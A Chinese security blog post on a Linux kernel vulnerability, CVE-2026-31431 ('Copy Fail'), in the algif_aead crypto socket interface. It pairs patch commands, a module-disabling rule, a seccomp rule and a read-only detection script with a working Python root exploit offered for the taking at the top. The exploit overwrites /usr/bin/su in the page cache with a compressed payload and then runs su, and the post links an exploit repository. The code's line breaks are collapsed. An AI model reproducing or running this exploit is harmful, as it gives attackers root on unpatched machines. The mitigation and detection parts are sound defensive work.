Linux又出“金色传说”,速修!自检脚本、利用脚本自取!

#!/usr/bin/env python3import os as g,zlib,socket as sdef d(x):return bytes.fromhex(x)def c(f,t,c): a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) try:u.recv(8+t) except:0f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))while i<len(e):c(f,i,e[i:i+4]);i+=4g.system("su")

安全社大手子脚本下载地址：https://github.com/0xShe/CVE-2026-31431

##Ubuntu/Debiansudo apt update && sudo apt full-upgrade -ysudo reboot##RHEL/CentOS/Rocky/Alma Linuxsudo dnf update kernel -ysudo reboot##Amazon Linux 2023sudo dnf update kernel -ysudo reboot##SUSE/openSUSEsudo zypper refresh && sudo zypper patch -ysudo reboot

#升级后确认内核版本：uname -r#输出需包含补丁提交号 a664bf3d603d 或更高（如 6.18.22+、6.19.12+ 等）。#检查模块状态：lsmod | grep algif_aead#应无输出，表示模块未被加载（补丁已回退问题逻辑）#进一步验证grep -r "a664bf3d603d" /proc/version 2>/dev/null || uname -r #验证一下是否包含修复commit，以及对比发行版官方公告中的修复版本号

echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif-aead.confsudo rmmod algif_aead 2>/dev/null || true

"syscalls": [{  "names": ["socket"],  "action": "SCMP_ACT_ERRNO",  "args": [{"index": 0, "value": 38, "op": "SCMP_CMP_EQ"}]}]

#!/bin/bash# CVE-2026-31431 (Copy Fail) 漏洞检测脚本# by wangluoanquan007 | 安全无害，仅执行只读检测# 用法：bash check_cve-2026-31431.shRED='\033[0;31m'GREEN='\033[0;32m'YELLOW='\033[0;33m'NC='\033[0m' # 重置颜色echo -e "${YELLOW}===== CVE-2026-31431 (Copy Fail) 漏洞检测脚本 =====${NC}"echo -e "检测原理：1. 检查内核版本 2. 验证 algif_aead 模块状态 3. 安全测试 AF_ALG 套接字（仅检测不利用）\n"# 1. 检查内核版本是否低于安全阈值kernel_vuln=0kernel_version=$(uname -r | cut -d'-' -f1)major=$(echo "$kernel_version" | cut -d. -f1)minor=$(echo "$kernel_version" | cut -d. -f2)patch=$(echo "$kernel_version" | cut -d. -f3 | grep -o '^[0-9]*')# 安全内核版本：主线 >=6.18.22 或 >=6.19.12（补丁提交 a664bf3d603d）is_safe_kernel() {    if [ "$major" -gt 6 ]; then return 0; fi    if [ "$major" -eq 6 ] && [ "$minor" -gt 19 ]; then return 0; fi    if [ "$major" -eq 6 ] && [ "$minor" -eq 19 ] && [ "$patch" -ge 12 ]; then return 0; fi    if [ "$major" -eq 6 ] && [ "$minor" -eq 18 ] && [ "$patch" -ge 22 ]; then return 0; fi    return 1}if is_safe_kernel; then    echo -e "[✓] 内核版本 ${kernel_version} 已修复漏洞（安全阈值：6.18.22+/6.19.12+）"else    echo -e "[${RED}✗${NC}] 内核版本 ${kernel_version} 受影响！需升级至 6.18.22+ 或 6.19.12+"    kernel_vuln=1fi# 2. 检查 algif_aead 模块是否可加载modprobe -n -q algif_aead 2>/dev/nullmodule_loadable=$?if [ $module_loadable -eq 0 ]; then    echo -e "[${RED}✗${NC}] algif_aead 模块可加载（存在攻击面）"else    echo -e "[✓] algif_aead 模块已禁用（无攻击面）"fi# 3. 安全测试 AF_ALG 套接字（仅创建后立即关闭，不执行写操作）af_alg_test() {    python3 -c "import socket; s=socket.socket(38,1,0); s.close(); print('SUCCESS')" 2>/dev/null    return $?}if af_alg_test; then    echo -e "[${RED}✗${NC}] 系统允许创建 AF_ALG 套接字（family=38），存在漏洞利用条件"    vuln_exploitable=1else    echo -e "[✓] AF_ALG 套接字已被阻断（安全）"    vuln_exploitable=0fi# 4. 综合风险评估echo -e "\n${YELLOW}===== 风险评估 =====${NC}"if [ $kernel_vuln -eq 0 ] && [ $vuln_exploitable -eq 0 ]; then    echo -e "${GREEN}[安全] 系统已修复漏洞，无需操作${NC}"elif [ $kernel_vuln -eq 1 ] && [ $vuln_exploitable -eq 1 ]; then    echo -e "${RED}[高危] 内核未修复且存在攻击面！请立即升级内核${NC}"    echo -e "修复命令：sudo apt update && sudo apt full-upgrade -y && sudo reboot  # Ubuntu/Debian"    echo -e "        sudo dnf update kernel -y && sudo reboot                 # RHEL/CentOS"elif [ $kernel_vuln -eq 1 ] && [ $vuln_exploitable -eq 0 ]; then    echo -e "${YELLOW}[中危] 内核未修复但攻击面已阻断（临时缓解生效）${NC}"    echo -e "建议：仍需升级内核（临时措施无法彻底修复）"else    echo -e "${GREEN}[安全] 攻击面已阻断，但建议升级内核以彻底修复${NC}"fi# 5. 附加信息echo -e "\n${YELLOW}附加说明：${NC}"echo "• 本脚本仅检测不利用，不会触发实际漏洞"echo "• 临时禁用攻击面命令：echo 'install algif_aead /bin/false' | sudo tee /etc/modprobe.d/disable-algif-aead.conf"